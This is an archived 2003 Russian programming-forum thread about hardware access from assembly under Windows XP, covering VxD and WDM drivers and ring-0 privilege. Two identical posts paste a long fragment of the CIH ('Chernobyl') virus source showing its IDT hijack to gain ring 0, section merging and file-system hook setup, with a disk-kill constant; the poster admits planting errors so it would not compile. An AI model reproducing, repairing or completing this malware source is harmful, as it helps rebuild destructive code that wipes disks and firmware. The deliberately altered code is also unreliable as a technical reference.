Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2003.04.24;
Скачать: CL | DM;

Вниз

ASM и WinXP и т.п.   Найти похожие ветки 

 
konstantinov ©   (2003-04-05 21:45) [0]

На форуме как-то проскакивали вопросы почему ASM код для работы с аппаратными ресурсами ПК не работает под ХР. От себя добавлю, что не работают также некоторые драйверы ( лично у меня были проблемы с видеокартой и сканером ). ИМХО в ХР напрочь закрыли дверку для монопольного использования аппаратных средств. Как с этим бороться? Или какие условия нужно выполнить, чтобы получить доступ из кода АSM?


 
Ihor Osov'yak ©   (2003-04-05 22:25) [1]

Возможность доступа к аппаратным ресурсам никак не зависит от того, на каком языке программирования сделана программа.
Совсем другой вопрос, что под определенную платформу и режим работы конкретная система программирования может и не генерироваить исполняемый фаайл.

По поводу того - какие условия на ассемблере нужно выполнить - ответ прост: анологичные, как и на других системах программирования.

Зы - для начала почитайте документацию вокруг ключевых слов - kernel mode, win32, wdm, vxd and so on..



 
NetBreaker666 ©   (2003-04-06 16:13) [2]


> ИМХО в ХР напрочь закрыли дверку для монопольного использования
> аппаратных средств. Как с этим бороться? Или какие условия
> нужно выполнить, чтобы получить доступ из кода АSM?

Никто ничего не закрывал.
И доступ к чему ? Какая разница на чем ты свой код писал ? Пример привести можешь ? По-моему это очередная попытка выпендриться... IMHO...



> Возможность доступа к аппаратным ресурсам никак не зависит
> от того, на каком языке программирования сделана программа.
> Совсем другой вопрос, что под определенную платформу и режим
> работы конкретная система программирования может и не генерироваить
> исполняемый фаайл.

Например ? Что-то не встречал таких компиляторов.


 
Ihor Osov'yak ©   (2003-04-06 16:50) [3]

2 NetBreaker666 ©

Например, Delphi не генерирует исполняемый файл, который можно использовать для загрузки как драйвер режима ядра.

Delphi1 не генерирует исполняемых файлов, предназначеных для работы в режиме Win32.

Здесь Win32 - платформа, режим ядра - режим работы.

И тд п тп..


 
NetBreaker666 ©   (2003-04-06 17:04) [4]


> Ihor Osov"yak ©

Ладно, я просто тебя неправильно понял.... только что такое "драйвер режима ядра" ??? Насколько я знаю спецификация WDM не предусматривает нулевого приоритета для драйверов (вся работа идет через HAL). Или я тебя опять не понял ?


 
Ihor Osov'yak ©   (2003-04-06 17:51) [5]

2 NetBreaker666 © (06.04.03 17:04)

Нет, ты неправильно понял спецификацию WDM. Код WDM выполняется в нулевом кольце приоритета. Взаимодействие с аппаратурой подразумевает юзание функциональности HAL, но никто не запрещает прямую работу с аппаратными портами (как в win32). С прерываниями - все же через HAL. Но однозначно последнее утверждать не буду, так как писал только те драйвера, которые с прерываниями все же не работали (не было необходимости).


 
NetBreaker666 ©   (2003-04-06 18:08) [6]

Я писал только VXD, по-этому тоже ничего утверждать не могу, но по-моему, возможно, мы либо говорим о разных версиях WDM либо еще какая-нибудь ***ня... просто я точно где-то читал, что в WinXP ничто не может получить нулевого кольца, даже драйвер, и вся работа с портами идет через hardware abstraction level... Хотя, с портами можно хоть из 3-го работать... возможно дерьмовая дока попалась :) Ладно, когда напишу полноценный драйвер - расскажу все как есть :)


 
Ihor Osov'yak ©   (2003-04-06 19:31) [7]

VXD и WDM разные вещи. VXD живет только под надстройками над DOS, которые именуются Win3,W95,W98,ME . В VXD часть кода исполняется в 32 битном режиме, часть кода может работать и в 16-битном.

В линейке NT такой вещи как VXD нету. WDM живет в W98,ME и W2K,XP.

При разаработке модели WDM как прототип брался kernel mode driver от NT3.5. По большому счету это то же самое, но только дополненое поддержкой PnP и системы электропитания (вернее они умеют взаимодействовать с ней). Драйвера, написанные согласно требований к kernel mode driver от NT3.5 и NT4 в W2K и XP именнуются как унаследованные (legacy).

В DDK от 98 утверждается, что WDM есть бинарно совместимые между 98 и W2K, в DDK от W2K - что совместимые на уровне исходного текста.

Введены ли какие-то новые требования к WDM в XP - не знаю, соотв. DDK пока не видел. Но во всяком случае драйвера, написанные мною для W2K работали без проблем и в XP.

Зы - WDM драйвера, которые я писал, не предназначались для работы с железом, часть из них делалась просто ради необходимости запустить некий код в нулевом кольце, часть - для иммуляции девайсов для операционной системы.


 
NetBreaker666 ©   (2003-04-06 20:00) [8]


> VXD и WDM разные вещи. VXD живет только под надстройками
> над DOS, которые именуются Win3,W95,W98,ME . В VXD часть
> кода исполняется в 32 битном режиме, часть кода может работать
> и в 16-битном.

Ты это кому рассказываешь :) Я уже штуки три дравера написал. Один для SBLive1024 - который работал лучше чем от Creative"а. (Просто креативовские отказывались вставать на комп ниже 166-го).


> Зы - WDM драйвера, которые я писал, не предназначались для
> работы с железом, часть из них делалась просто ради необходимости
> запустить некий код в нулевом кольце, часть - для иммуляции
> девайсов для операционной системы.

Почему-то мне кажется, что под XP"ями твои драйвера работали не в нулевом кольце. Но это только IMHO. Кстати, в Win9x можно получить нулевое кольцо без написания драйвера.


Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему все понятно и без комментариев.

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 2

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion


IF DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h

ENDIF


FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let"s Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let"s Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

; *************************************
; * Let"s Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; * Return Original App to Execute *

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; * Ring0 Virus Game Initial Program *

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; * Do My Virus Exist in System !? *

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException





 
NetBreaker666 ©   (2003-04-06 20:00) [9]


> VXD и WDM разные вещи. VXD живет только под надстройками
> над DOS, которые именуются Win3,W95,W98,ME . В VXD часть
> кода исполняется в 32 битном режиме, часть кода может работать
> и в 16-битном.

Ты это кому рассказываешь :) Я уже штуки три дравера написал. Один для SBLive1024 - который работал лучше чем от Creative"а. (Просто креативовские отказывались вставать на комп ниже 166-го).


> Зы - WDM драйвера, которые я писал, не предназначались для
> работы с железом, часть из них делалась просто ради необходимости
> запустить некий код в нулевом кольце, часть - для иммуляции
> девайсов для операционной системы.

Почему-то мне кажется, что под XP"ями твои драйвера работали не в нулевом кольце. Но это только IMHO. Кстати, в Win9x можно получить нулевое кольцо без написания драйвера.


Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему все понятно и без комментариев.

TRUE = 1
FALSE = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 2

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion


IF DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

ELSE

FirstKillHardDiskNumber = 80h
HookExceptionNumber = 03h

ENDIF


FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; *************************************
; * Let"s Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; *************************************
; * Let"s Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Again

; *************************************
; * Let"s Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; * Return Original App to Execute *

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; * Ring0 Virus Game Initial Program *

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; * Do My Virus Exist in System !? *

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException





 
NetBreaker666 ©   (2003-04-06 20:02) [10]

Ой, там не dr0, а cr0 :) (Это я в свое вермя навставлял ошибок, чтоб один ламер откомпилить не смог:) )


 
Ixion ©   (2003-04-07 00:22) [11]


> Ты это кому рассказываешь :) Я уже штуки три дравера написал.
> Один для SBLive1024 - который работал лучше чем от Creative"а.
> (Просто креативовские отказывались вставать на комп ниже
> 166-го).

Наши драйвера самые драйверастые драйвера в мире !!! LOL


> Почему-то мне кажется, что под XP"ями твои драйвера работали
> не в нулевом кольце. Но это только IMHO. Кстати, в Win9x
> можно получить нулевое кольцо без написания драйвера.

Это тебе только кажется. Проверь - это дело пяти минут для такого крутого хацкера как ты. Надеюсь как определить в каком кольце выполняется код объяснять не нужно ? :)


> Это кусок "Чернобыля", где он получает нулевое кольцо. По-моему
> все понятно и без комментариев.

Это ты из фака взял ? А зачем так код извратил ?



Страницы: 1 вся ветка

Текущий архив: 2003.04.24;
Скачать: CL | DM;

Наверх




Память: 0.53 MB
Время: 0.015 c
3-76827
_jek
2003-04-07 10:30
2003.04.24
ADO (Delphi 5) и ACCESS(97)


3-76753
Вопрошающий
2003-04-08 13:30
2003.04.24
Доступ к БД


1-77000
acsoft
2003-04-09 07:55
2003.04.24
Помогите создать кнопку при помощи DLL.


3-76834
Boo
2003-04-05 22:13
2003.04.24
Проблемы печати DBGridEh (EhLib2.5)


14-77146
Uncle Archi
2003-04-07 20:34
2003.04.24
Арифметика.